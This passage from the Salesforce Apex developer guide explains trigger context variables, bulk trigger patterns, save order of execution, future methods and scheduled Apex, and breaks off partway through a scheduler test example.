only available in update and delete triggers. oldMap A map of IDs to the old versions of the sObject records. Note that this map is only available in update and delete triggers. size The total number of records in a trigger invocation, both old and new. 186
  • 211. Invoking Apex Trigger Context Variables Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set to null in the new, newMap, old, and oldMap trigger context variables. For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind variable in the IN clause of a SOQL query: Trigger t on Account (after insert) { for (Account a : Trigger.new) { // Iterate over each sObject } // This single query finds every contact that is associated with any of the // triggering accounts. Note that although Trigger.new is a collection of // records, when used as a bind variable in a SOQL query, Apex automatically // transforms the list of records into a list of corresponding Ids. Contact[] cons = [SELECT LastName FROM Contact WHERE AccountId IN :Trigger.new]; } This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes for specific trigger conditions: trigger myAccountTrigger on Account(before delete, before insert, before update, after delete, after insert, after update) { if (Trigger.isBefore) { if (Trigger.isDelete) { // In a before delete trigger, the trigger accesses the records that will be // deleted with the Trigger.old list. for (Account a : Trigger.old) { if (a.name != 'okToDelete') { a.addError('You can't delete this record!'); } } } else { // In before insert or before update triggers, the trigger accesses the new records // with the Trigger.new list. for (Account a : Trigger.new) { if (a.name == 'bad') { a.name.addError('Bad name'); } } if (Trigger.isInsert) { for (Account a : Trigger.new) { System.assertEquals('xxx', a.accountNumber); System.assertEquals('industry', a.industry); System.assertEquals(100, a.numberofemployees); System.assertEquals(100.0, a.annualrevenue); a.accountNumber = 'yyy'; } // If the trigger is not a before trigger, it must be an after trigger. } else { if (Trigger.isInsert) { List<Contact> contacts = new List<Contact>(); for (Account a : Trigger.new) { if(a.Name == 'makeContact') { contacts.add(new Contact (LastName = a.Name, AccountId = a.Id)); } } insert contacts; } } }}} 187
  • 212. Invoking Apex Context Variable Considerations Context Variable Considerations Be aware of the following considerations for trigger context variables: • • • • trigger.new and trigger.old cannot be used in Apex DML operations. You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers, trigger.new is not saved, so a runtime exception is thrown. trigger.old is always read-only. You cannot delete trigger.new. The following table lists considerations about certain actions in different trigger events: Trigger Event Can change fields using Can update original object using an update DML operation Can delete original object using a delete DML operation Not applicable. The original object has not been created; nothing can reference it, so nothing can update it. trigger.new Not applicable. The original object has not been created; nothing can reference it, so nothing can update it. before insert Allowed. after insert Not allowed. A runtime error Allowed. is thrown, as trigger.new is already saved. before update Allowed. after update Not allowed. A runtime error Allowed. Even though bad is thrown, as trigger.new code could cause an infinite is already saved. recursion doing this incorrectly, the error would be found by the governor limits. before delete Not allowed. A runtime error is thrown. trigger.new is not available in before delete triggers. after delete Not allowed. A runtime error Not applicable. The object has Not applicable. The object has is thrown. trigger.new is already been deleted. already been deleted. not available in after delete triggers. after undelete Not allowed. A runtime error Allowed. is thrown. trigger.old is not available in after undelete triggers. Allowed, but unnecessary. The object is deleted immediately after being inserted. Not allowed. A runtime error Not allowed. A runtime error is thrown. is thrown. Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible. Allowed. The updates are Not allowed. A runtime error saved before the object is is thrown. The deletion is deleted, so if the object is already in progress. undeleted, the updates become visible. 188 Allowed, but unnecessary. The object is deleted immediately after being inserted.
  • 213. Invoking Apex Common Bulk Trigger Idioms Common Bulk Trigger Idioms Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult for developers to understand and code because they involve processing batches of several records at a time. The following sections provide examples of idioms that should be used frequently when writing in bulk. Using Maps and Sets in Bulk Triggers Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps can be used to hold query results organized by record ID. For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color. // When a new line item is added to an opportunity, this trigger copies the value of the // associated product's color to the new record. trigger oppLineTrigger on OpportunityLineItem (before insert) { // For every OpportunityLineItem record, add its associated pricebook entry // to a set so there are no duplicates. Set<Id> pbeIds = new Set<Id>(); for (OpportunityLineItem oli : Trigger.new) pbeIds.add(oli.pricebookentryid); // Query the PricebookEntries for their associated product color and place the results // in a map. Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>( [select product2.color__c from pricebookentry where id in :pbeIds]); // Now use the map to set the appropriate color on every OpportunityLineItem processed // by the trigger. for (OpportunityLineItem oli : Trigger.new) oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c; } Correlating Records with Query Results in Bulk Triggers Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()). The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted: trigger oppTrigger on Opportunity (before delete) { for (Quote__c q : [SELECT opportunity__c FROM quote__c WHERE opportunity__c IN :Trigger.oldMap.keySet()]) { Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete opportunity with a quote'); } } 189
  • 214. Invoking Apex Defining Triggers Using Triggers to Insert or Update Records with Unique Fields When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct by the time the request is finished. When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second record is no longer valid. Defining Triggers Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce: 1. For a standard object, from Setup, click Customize, click the name of the object, then click Triggers. For a custom object, from Setup, click Create > Objects and click the name of the object. For campaign members, from Setup, click Customize > Campaigns > Campaign Member > Triggers. For case comments, from Setup, click Customize > Cases > Case Comments > Triggers. For email messages, from Setup, click Customize > Cases > Email Messages > Triggers. For comments on ideas, from Setup, click Customize > Ideas > Idea Comments > Triggers. For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE. Alternatively, you can also use the Metadata API. 2. In the Triggers related list, click New. 3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default. 5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length. To define a trigger, use the following syntax: trigger triggerName on ObjectName (trigger_events) { code_block } where trigger_events can be a comma-separated list of one or more of the following events: • • • • • • before insert before update before delete after insert after update after delete 190
  • 215. Invoking Apex • Defining Triggers after undelete Note: • • You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API. 6. Click Save. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if they’re in a lookup relationship. The Apex Trigger Editor When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. • To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. • To make the search operation case sensitive, select the Match Case option. • To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(s+)(.*)> and replace it with <h2$1$2>. Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. 191
  • 216. Invoking Apex Triggers and Merge Statements Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor. Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor. Triggers and Merge Statements Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows: Deletion of losing records A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result of a merge, you need to use the after delete trigger event. Update of the winning record A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result of the merge operation do not fire triggers. For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts, such as accounts or opportunities, fire. The following is the order of events when a merge occurs: 1. The before delete trigger fires. 2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the MasterRecordId field on the deleted records. 3. The after delete trigger fires. 4. The system does the specific updates required for the master record. Normal update triggers apply. Triggers and Recovered Records The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered from the Recycle Bin through the undelete DML statement. These are also called undeleted records. The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes. The after undelete trigger event only fires for the following objects: • • • • • Account Asset Campaign Case Contact 192
  • 217. Invoking Apex • • • • • • • • • Triggers and Order of Execution ContentDocument Contract Custom objects Event Lead Opportunity Product Solution Task Triggers and Order of Execution When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order. Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side. On the server, Salesforce: 1. Loads the original record from the database or initializes the record for an upsert statement. 2. Loads the new record field values from the request and overwrites the old values. If the request came from a standard UI edit page, Salesforce runs system validation to check the record for: • • • • Compliance with layout-specific rules Required values at the layout level and field-definition level Valid field formats Maximum field length Salesforce doesn't perform system validation in this step when the request comes from other sources, such as an Apex application or a SOAP API call. 3. Executes all before triggers. 4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI edit page) is the enforcement of layout-specific rules. 5. Saves the record to the database, but doesn't commit yet. 6. Executes all after triggers. 7. Executes assignment rules. 8. Executes auto-response rules. 9. Executes workflow rules. 10. If there are workflow field updates, updates the record again. 11. If the record was updated with workflow field updates, fires before and after triggers one more time (and only one more time), in addition to standard validations. Custom validation rules are not run again. Note: The before and after triggers fire one more time only if something needs to be updated. If the fields have already been set to a value, the triggers are not fired again. 12. Executes escalation rules. 193
  • 218. Invoking Apex Triggers and Order of Execution 13. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Parent record goes through save procedure. 14. If the parent record is updated, and a grand-parent record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Grand-parent record goes through save procedure. 15. Executes Criteria Based Sharing evaluation. 16. Commits all DML operations to the database. 17. Executes post-commit logic, such as sending email. Note: During a recursive save, Salesforce skips steps 7 through 14. Additional Considerations Please note the following when working with triggers. • • • The order of execution isn’t guaranteed when having multiple triggers for the same object due to the same event. For example, if you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these triggers fire isn’t guaranteed. When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created. For more information, see “Customizing Lead Settings” in the Salesforce online help. If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows: ◊ If you set Stage and Forecast Category, the opportunity record contains those exact values. ◊ If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults to the one associated with trigger Stage. ◊ If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted. • If you are cloning an opportunity with products, the following events occur in order: 1. The parent opportunity is saved according to the list of events shown above. 2. The opportunity products are saved according to the list of events shown above. Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning. If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity. • Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception. When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last update trigger won’t contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case. 194
  • 219. Invoking Apex Operations that Don't Invoke Triggers Operations that Don't Invoke Triggers Triggers are only invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server. Consequently, some system bulk operations don't currently invoke triggers. Some examples include: • • • • • • • • • • • • Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation. Cascading updates of child records that are reparented as a result of a merge operation Mass campaign status changes Mass division transfers Mass address updates Mass approval request transfers Mass email actions Modifying custom field data types Renaming or replacing picklists Managing price books Changing a user's default division with the transfer division option checked Changes to the following objects: ◊ BrandTemplate ◊ MassEmailTemplate ◊ Folder • Update account triggers don't fire before or after a business account record type is changed to person account (or a person account record type is changed to business account.) Note: Inserts, updates, and deletes on person accounts fire account triggers, not contact triggers. Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead conversion are enabled in the organization: • • insert of accounts, contacts, and opportunities update of accounts and contacts Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing. When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run. The getContent and getContentAsPDF PageReference methods aren't allowed in triggers. Note the following for the ContentVersion object: • Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers. Note: Content packs are revised when a slide inside of the pack is revised. • Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion records originates from the API. 195
  • 220. Invoking Apex • Entity and Field Considerations in Triggers You can't use before or after delete triggers with the ContentVersion object. Entity and Field Considerations in Triggers QuestionDataCategorySelection Entity Not Available in After Insert Triggers The after insert trigger that fires after inserting one or more Question records doesn’t have access to the QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following query doesn’t return any results in an after insert trigger: QuestionDataCategorySelection[] dcList = [select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions]; Fields Not Updateable in Before Triggers Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields cannot be modified or accurately detected in before insert or before update triggers. Some examples include: • • • • • • • • • • • • • • Task.isClosed Opportunity.amount* Opportunity.ForecastCategory Opportunity.isWon Opportunity.isClosed Contract.activatedDate Contract.activatedById Case.isClosed Solution.isReviewed Id (for all records)** createdDate (for all records)** lastUpdated (for all records) Event.WhoId (when Shared Activities is enabled) Task.WhoId (when Shared Activities is enabled) * When Opportunity has no lineitems, Amount can be modified by a before trigger. ** Id and createdDate can be detected in before update triggers, but cannot be modified. Fields Not Updateable in After Triggers The following fields can’t be updated by after insert or after update triggers. • • Event.WhoId Task.WhoId Operations Not Supported in Insert and Update Triggers The following operations aren’t supported in insert and update triggers. • • Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled Entities Not Supported in Update Triggers Certain objects can’t be updated, and therefore, shouldn’t have before update and after update triggers. 196
  • 221. Invoking Apex • • Trigger Exceptions FeedItem FeedComment Entities Not Supported in After Undelete Triggers Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers. • • • • CollaborationGroup CollaborationGroupMember FeedItem FeedComment Additional Considerations for Chatter Objects Things to consider about FeedItem and FeedComment triggers: • • • Only FeedItems of Type TextPost, LinkPost, and ContentPost can be inserted, and therefore invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire. While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against versions prior to 21.0. For FeedItem the following fields are not available in the before insert trigger: ◊ ContentSize ◊ ContentType In addition, the ContentData field is not available in any delete trigger. • Triggers on FeedItem objects run before their attachment information is saved, which means that ConnectApi.FeedItem.attachment information may not be available in the trigger. The attachment information may not be available from these methods: ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.shareFeedItem, and ConnectApi.ChatterFeeds.voteOnFeedPoll. • • For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained through FeedComment.RelatedRecordId) are not available. Apex code uses additional security when executing in a Chatter context. To post to a private group, the user running the code must be a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group in the FeedItem record. Note the following for the CollaborationGroup and CollaborationGroupMember objects: • When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update triggers run as well. Trigger Exceptions Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom error message is displayed in the application interface and logged. Note: Users experience less of a delay in response time if errors are added to before triggers. A subset of the records being processed can be marked with the addError() method: 197
  • 222. Invoking Apex • • Trigger and Bulk Request Best Practices If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the runtime engine still processes every record in the operation to compile a comprehensive list of errors. If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 394. If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place. See Also: addError(String) field.addError(String) Trigger and Bulk Request Best Practices A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations. This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce. trigger MileageTrigger on Mileage__c (before insert, before update) { User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id]; } This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements: trigger MileageTrigger on Mileage__c (before insert, before update) { for(mileage__c m : Trigger.new){ User c = [SELECT Id FROM user WHERE mileageid__c = m.Id]; } } For more information on governor limits, see Understanding Execution Governors and Limits on page 236. This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits: Trigger MileageTrigger on Mileage__c (before insert, before update) { Set<ID> ids = Trigger.new.keySet(); List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids]; } This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries. Best Practices for Designing Bulk Programs The following are the best practices for this design pattern: • Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML operations against these collections. 198
  • 223. Invoking Apex • Asynchronous Apex Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL statement used with the IN clause. See Also: Developing Code in the Cloud Asynchronous Apex Future Methods A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also make use of future methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and executes when system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a long-running operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap size limits. To define a future method, simply annotate it with the future annotation, as follows. global class FutureClass { @future public static void myFutureMethod() { // Perform some operations } } Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot take sObjects or objects as arguments. The reason why sObjects can’t be passed as arguments to future methods is because the sObject might change between the time you call the method and the time it executes. In this case, the future method will get the old sObject values and might overwrite them. To work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query for the most up-to-date record. The following example shows how to do so with a list of IDs. global class FutureMethodRecordProcessing { @future public static void processRecords(List<ID> recordIds) { // Get those records based on the IDs List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds]; // Process records } } The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using Apex. global class FutureMethodExample { @future(callout=true) 199
  • 224. Invoking Apex Future Methods public static void getStockQuotes(String acctName) { // Perform a callout to an external service } } Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example uses a future method to achieve this. The future method defined in the Util class performs the insertion of a user with a role. The main method inserts an account and calls this future method. This is the definition of the Util class, which contains the future method for inserting a user with a non-null role. public class Util { @future public static void insertUserWithRole( String uname, String al, String em, String lname) { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; UserRole r = [SELECT Id FROM UserRole WHERE Name='COO']; // Create new user with a non-null user role ID User u = new User(alias = al, email=em, emailencodingkey='UTF-8', lastname=lname, languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, userroleid = r.Id, timezonesidkey='America/Los_Angeles', username=uname); insert u; } } This is the class containing the main method that calls the future method defined previously. public class MixedDMLFuture { public static void useFutureMethod() { // First DML operation Account a = new Account(Name='Acme'); insert a; // This next operation (insert a user with a role) // can't be mixed with the previous insert unless // it is within a future method. // Call future method to insert a user with a role. Util.insertUserWithRole( 'mruiz@awcomputing.com', 'mruiz', 'mruiz@awcomputing.com', 'Ruiz'); } } You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future method. Methods with the future annotation have the following limits: • No more than 10 method calls per Apex invocation Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs. • The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater. This is an organization-wide limit and is shared with all other asynchronous Apex: batch Apex and scheduled Apex. The licenses that count toward this limit are full Salesforce user 200
  • 225. Invoking Apex Apex Scheduler licenses and Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included. Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when system resources become available, the queued future method jobs are executed. If a future method was running when downtime occurred, the future method execution is rolled back and restarted after the service comes back up. Testing Future Methods To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest() code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. For our example, this is how the test class looks. @isTest private class MixedDMLFutureTest { @isTest static void test1() { User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()]; // System.runAs() allows mixed DML operations in test context System.runAs(thisUser) { // startTest/stopTest block to run future method synchronously Test.startTest(); MixedDMLFuture.useFutureMethod(); Test.stopTest(); } // The future method will run after Test.stopTest(); // Verify account is inserted Account[] accts = [SELECT Id from Account WHERE Name='Acme']; System.assertEquals(1, accts.size()); // Verify user is inserted User[] users = [SELECT Id from User where username='mruiz@awcomputing.com']; System.assertEquals(1, users.size()); } } Apex Scheduler To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method. Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability. You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs. Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. You cannot update an Apex class if there are one or more active scheduled jobs for that class. 201
  • 226. Invoking Apex Apex Scheduler Implementing the Schedulable Interface To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface Schedulable. The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class. To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, click Monitoring > Scheduled Jobs or Jobs > Scheduled Jobs. The Schedulable interface contains one method that must be implemented, execute. global void execute(SchedulableContext sc){} The implemented method must be declared as global or public. Use this method to instantiate the class you want to schedule. Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a separate class. The following example implements the Schedulable interface for a class called mergeNumbers: global class scheduledMerge implements Schedulable { global void execute(SchedulableContext SC) { mergeNumbers M = new mergeNumbers(); } } The following example uses the System.Schedule method to implement the above class. scheduledMerge m = new scheduledMerge(); String sch = '20 30 8 10 2 ?'; String jobID = system.schedule('Merge Job', sch, m); You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable interface for a batch Apex class called batchable: global class scheduledBatchable implements Schedulable { global void execute(SchedulableContext sc) { batchable b = new batchable(); database.executebatch(b); } } An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the Schedulable interface. Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext getTriggerID method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track the progress of the scheduled job. To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID method. 202
  • 227. Invoking Apex Apex Scheduler Tracking the Progress of a Scheduled Job Using Queries After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger and retrieving some fields, such as the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in this example. CronTrigger ct = [SELECT TimesTriggered, NextFireTime FROM CronTrigger WHERE Id = :jobID]; The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example becomes: CronTrigger ct = [SELECT TimesTriggered, NextFireTime FROM CronTrigger WHERE Id = :sc.getTriggerId()]; You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger record with the job name and type from CronJobDetail. CronTrigger job = [SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1]; Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the CronJobDetail.Id expression on the CronTrigger record. CronJobDetail ctd = [SELECT Id, Name, JobType FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id]; To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the value '7' is specified for the job type, which corresponds to the scheduled Apex job type. SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7' Testing the Apex Scheduler The following is an example of how to test using the Apex scheduler. The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must ensure that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest around the System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t include the System.schedule method within the startTest and stopTest methods, the scheduled job executes at the end of your test method for Apex saved using Salesforce.com API version 25.0 and later, but not in earlier versions. This is the class to be tested. global class TestScheduledApexFromTestMethod implements Schedulable { // This test runs a scheduled job at midnight Sept. 3rd. 2022 public static String CRON_EXP = '0 0 0 3 9 ? 2022'; 203
